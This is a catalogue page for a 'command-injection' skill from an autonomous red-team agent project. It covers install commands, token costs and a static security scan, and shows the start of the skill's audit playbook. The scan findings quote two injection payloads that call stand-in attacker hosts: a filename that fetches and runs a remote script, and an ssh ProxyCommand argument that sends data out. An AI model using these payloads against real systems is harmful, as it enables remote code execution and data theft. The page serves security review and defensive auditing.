command-injection

command-injection is a skill for Claude Code, Codex from PurpleAILAB/Decepticon. It costs 44 tokens per session (1,289 once invoked), scanned B, original, Apache-2.0.

A playbook for finding OS command injection, where user input reaches a shell or operating-system command and can run unintended commands.

In plain words
What is it for?
It reviews command execution in Python, Node, Go, Java, Ruby, and PHP, along with upload processors, PDF generators, media tools, deployment files, and container manifests.
Why use it?
It helps identify dangerous command-execution patterns and cases where supposedly safer APIs remain controllable.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit It reviews command execution in Python, Node, Go, Java, Ruby, and PHP, along with upload processors, PDF generators, media tools, deployment files, and container manifests.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/purpleailab/decepticon/command-injection
About the project

Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.

PurpleAILAB/Decepticon · 5,463 stars · on GitHub · decepticon.red

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add PurpleAILAB/Decepticon --skill command-injection
Clone the repo
git clone --depth 1 https://github.com/PurpleAILAB/Decepticon

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for command-injection

README.md
[![agentmods](https://agentmods.dev/badge/skills/purpleailab/decepticon/command-injection/github.svg)](https://agentmods.dev/skills/purpleailab/decepticon/command-injection)
Your own site
<a href="https://agentmods.dev/skills/purpleailab/decepticon/command-injection"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/command-injection/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for command-injection

Your own site · 80×15
<a href="https://agentmods.dev/skills/purpleailab/decepticon/command-injection"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/command-injection.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 44 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,289 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 3 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 3 findings, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high Tool Misuse · line 19
    Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
    Fix: Validate all tool parameters against an allowlist. Reject dangerous parameter values (shell=True, --force, -rf /) and use safe defaults.
  • high Tool Misuse · line 19
    Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
    Fix: Validate all tool parameters against an allowlist. Reject dangerous parameter values (shell=True, --force, -rf /) and use safe defaults.
  • high Supply Chain · line 61
    Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
    Fix: Avoid downloading and executing remote scripts. Use trusted packages from PyPI/npm. If remote fetch is required, verify checksums and use HTTPS.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00044 $0.01289
Opus 5 $0.00022 $0.00645
Sonnet 5 $0.00009 $0.00258
Haiku 4.5 $0.00004 $0.00129

Measured 5d ago against content hash 02c114824033, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-08, from the pricing page.

Security

Grade B, and why

command-injection scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Downloads and executes remote codemediumSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

- **Command substitution in filename** — `$(curl evil.com/x.sh | sh).jpg`

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

- **Argument injection** (the -oProxyCommand trick) — passing `-oProxyCommand=curl $(whoami).attacker.com` to ssh-based sinks

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

| Python | `os.system`, `subprocess.Popen(..., shell=True)`, `os.popen`, `commands.getoutput` | `subprocess.run([...], shell=False)` |
Origin

Copies of this mod

1 near-identical copy found in the catalogue:

packages/decepticon/decepticon/skills/standard/analyst/command-injection/SKILL.md · 103 lines

How it starts

The opening of the file, as written. The whole thing — 103 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Command Injection Playbook

If SQL injection is the king of web vulns, command injection is the king of DevOps vulns. Every image-processing upload, PDF generator, ffmpeg wrapper, and "run a script" feature is a candidate.

1. Sinks

Language Dangerous Safer
Python os.system, subprocess.Popen(..., shell=True), os.popen, commands.getoutput subprocess.run([...], shell=False)
Node child_process.exec, execSync child_process.execFile, spawn (array args)
Go exec.Command("sh","-c",user) exec.Command(bin, arg1, arg2) with array
Java Runtime.exec(String) Runtime.exec(String[]), ProcessBuilder([...])
Ruby backticks, system(str), %x{...} Kernel.system(bin, *args), Open3.capture2e
PHP shell_exec, exec, system, backticks, passthru escapeshellarg + explicit execve

Even the "safer" APIs are exploitable if the binary path is user controlled (exec.Command(userBin, "--version")).

2. Non-obvious sinks

  • Template engines rendering shell: Ansible playbooks, systemd unit files, crontab strings
  • Docker-compose / k8s manifests where command: is built from user input
  • PDF libraries that shell out to pdflatex, wkhtmltopdf, puppeteer
  • ImageMagickconvert user.jpg out.png where user.jpg is attacker-chosen (classic ImageTragick)
  • ffmpeg -i with user-provided URL/file (SSRF + RCE combo)
  • Git clone with user-supplied URL (remote helper injection)
  • SSH/Rsync wrappers building ssh user@host "cmd" from templates
  • ZIP extractors passing archive path to unzip binary

3. Audit workflow

# Level 1: obvious sinks
grep -rE 'os\.system\(|subprocess.*shell\s*=\s*True|exec\s*\(' /workspace/src
grep -rE 'Runtime\.exec\(|ProcessBuilder\([^[]' /workspace/src
grep -rE 'child_process\.(exec|execSync)\(' /workspace/src

# Level 2: shell metacharacters in strings
grep -rE '"[^"]*\$\{[a-z]+\}.*(-[a-z]|[;|&])"' /workspace/src

# Level 3: template strings
grep -rE 'ffmpeg|pdflatex|wkhtmltopdf|convert|pandoc' /workspace/src

Read the full file on GitHub · 103 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 5d ago First seen · 103 lines · 44 tokens per session scan B 02c114824033

Subscribe to this mod's changes

command-injection is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,463 stars, last pushed 9d ago), licensed Apache-2.0. It adds 44 tokens to every session and 1,289 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it B with 3 findings (downloads and executes remote code, makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.